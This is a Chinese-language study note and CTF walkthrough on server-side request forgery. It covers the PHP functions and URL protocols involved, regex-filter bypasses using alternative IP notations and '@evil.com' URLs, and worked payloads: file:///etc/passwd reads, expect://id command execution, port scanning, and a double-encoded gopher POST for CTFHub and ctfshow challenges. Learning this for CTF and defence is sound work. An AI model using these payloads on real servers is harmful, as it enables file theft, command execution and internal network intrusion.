SSRF(Server-Side Request Forgery ,服务端请求伪造) 是一种攻击者构造攻击链传给服务器,服务端执行并发起请求造成安全问题的漏洞,一般用来在外网探测或供给内网服务。
详情也可看一下ssrf - 简

其他师傅那里看到了这张图,挺好的拿过来用一下。
(1) 相关的函数和类file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中(php伪协议中常用)
readfile():输出一个文件的内容
fsockopen():打开一个网络连接或者一个Unix 套接字连接
curl_init():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和
curl-exec():执行给定的cURL会话。
curl_close() 函数使用
fopen():打开一个文件文件或者 URL
PHP原生类SoapClient在触发反序列化时可导致SSRF
SoapClient原生类在开发以及安全中利用
(2) 相关协议file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
file///etc/passwd (敏感文件)
dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
dict://serverip:port//命令:参数向服务器的端口请求为【命令:参数】,并在末尾自动补上\r\n(CRLF)
gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
gopher协议的格式:gopher://IP:port/_TCP/IP数据流
http/s协议:探测内网主机存活
gopher协议使用:
gopher://IP:port/_TCP/IP数据流(gopher://IP:port/_ ***) 注意那个_
用gopher协议发送get请求:
请求要构造http数据包
url编码,因为CRLF原因,要把%0a换成%0d0a,替换回车换行为%0d%0a、http包最后加%0d%0a代表消息结束--回车换行
gopher协议发送post请求:
与get传参区别为:post有四个必要参数
Content-Type,Content-Length,host,post的参数
注:其中Content-Length 要与post的长度相同
SSRF中URL的伪协议
(3) 防护绕过很多开发者使用正则表达式的方式对SSRF中的请求地址进行过滤,具体表现如下:
🌝 限制请求特定域名;
🌝 禁止请求内网IP。
然而这两种过滤都很容易被绕过,可用的方法具体如下:
1)使用http://example.com@evil.com (可针对限制了网址的题)
简单说的话,@表示如果这个被执行,,就扔掉前面了,相当于访问evil.com
2)IP地址转化为进制(八进制,十进制,十六进制)及 IP 地址省略写法,举例说明如下:
🌝 0177.0.0.1 (八进制)
🌝 2130706433 (十进制)
🌝 0x7f.0x0.0x0.0x1 (十六进制)
🌝 127.1 (IP地址省略写法)
3)特殊模式绕过
🌝 http://127.1/flag.php
🌝 http://0/flag.php
🌝 http://127.00000000.00.1/flag.php
4)0.0.0.0 &127.127.127.127绕过
🌝 http://127.27.127.127/flag.php
🌝 http://0.0.0.0/flag.php
5)配置域名。如果我们手中有可控域名,则可以将域名A记录指向欲请求的 IP 进行绕过操作:
evil.example.com => 10.0.18.3
6) 利用[::] .
http://[::]:80/ =>http://127.0.0.1
不加端口的话是http://[::]/
(4) 利用方式1.让服务端去访问相应的网址
2.让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms
3.可以使用file、dict、gopher[11]、ftp协议进行请求访问相应的文件
4.攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包{payload})
5.攻击内网应用程序(利用跨协议通信技术)
6.判断内网主机是否存活:方法是访问看是否有端口开放
7.DoS攻击(请求大文件,始终保持连接keep-alive always)
(5)危害与利用技巧 1. 端口扫描例如:
http://example.com/ssrf.php?url=http://192.168.***.***:21/
http://example.com/ssrf.php?url=http://192.168.***.***:22/
http://example.com/ssrf.php?url=http://192.168.***.***:80/
http://example.com/ssrf.php?url=http://192.168.***.***:443/
http://example.com/ssrf.php?url=http://192.168.***.***:3306/
可以根据应用响应时间,返回的错误信息,返回的服务Banner来判断端口是否开放。
可以用burp_suite抓包,dict协议爆破端口。
2. 攻击内网或本地存在漏洞的业务利用SSRF漏洞可对内网存在漏洞的服务进行攻击(如缓冲区溢出等)。
这个目前不太懂,还没真正运用过。书上看的,先记录下来
Gopher协议:
Gopher协议是HTTP 出现之前,在Internet 上常见且常用的一种协议。当然现在Gopher协议已经慢慢淡出历史。Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多作用。利用此协议可以攻击内网中的 FTP、Telnet、Redis、Memcache,也可以进行GET、POST请求。
3. 文件读取如果攻击者指定了 file协议,则可以通过 file协议来读取服务器上的文件内容,如:
http://example.com/ssrf.php?url=file///etc/passwd
4. 命令执行PHP环境下如果安装了expect扩展,还可以通过expect协议执行系统命令,如:
http://example.com/ssrf.php?url=expect://id
这个目前我的水平,还没见到过(个人比较👎)
题目练习 [CTFHub] 1. 内网访问?url=127.0.0.1/flag.php
直接访问即可。
2. 伪协议读取文件(file://)题目考察我们对file协议读取文件理解
?url=file:///var/www/html/flag.php
一般情况下会在 /var/www/html/的目录下
直接file://读取flag,回显??? 查看源代码,得到flag
3. 端口扫描(burp爆破)提示给我们说:端口在8000-9000之间,在burp中爆一下端口。
dict:// 和http:// 都可以。
最终发现 8151端口跟其他不一样。访问它看一下,发现了flag。
4. POST请求这道题要让我们发送一个post请求,那肯定是考察我们的gopher协议啦。
首先我们访问一下 http://127.0.0.1/flag.php
看见一个框框,查看源码发现:
试着把key放进去,发现必须来自 127.0.0.1
没有思路,file://读取一下flag.php文件的内容。
传入 ?url=file:///var/www/html/flag.php
因此,我们就知道了题目要求:
要得到flag,post传入key读取时需要IP为127.0.0.1 。因此gopher协议,伪装host,再post传参 key=59d458d96d2508773e9f824b5beb8dd0
POST /flag.php HTTP/1.1 Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded Content-Length: 36
key=59d458d96d2508773e9f824b5beb8dd0
需要对该数据进行二次url编码,第一次编码后的数据%0A替换%0D%0A,把替换后的数据进行第二次url编码,为什么要把%0A替换呢?这是因为CRLF即回车换行相当于是tcp数据流中的一个断点,所以一次编码忽略了的LF我们要在编码后加上再进行一次编码。
一次编码(%0A已被%0D%0A替换):
POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3D59d458d96d2508773e9f824b5beb8dd0
二次编码(对第一次替换后的编码再编一次):
POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D59d458d96d2508773e9f824b5beb8dd0
gopher格式: gopher://IP:port/_数据流
打入gopher中,得到flag。
# curl_init — 初始化 cURL 会话
# curl_setopt — 设置一个cURL传输选项
# curl_exec — 执行 cURL 会话
# curl_close — 关闭 cURL 会话
直接访问flag.php 发现只有本地用户才能访问。
没有过滤,所以直接post传入参数 url=http://127.0.0.1/flag.php
[ctfshow] web352
构造payload:url = http://localhost/flag.php即可。
[ctfshow] web353里面有
if(!preg_match('/localhost|127/.0/.|/。/i', $url)){}
过滤了localhost和127.0.0.1 可以对ip地址进行转换从而绕过。
十进制:url = http://2130706433/flag.php
十六进制: url = http://0x7f.0.0.1/flag.php
也可以缺省绕过。url = http://127.1/flag.php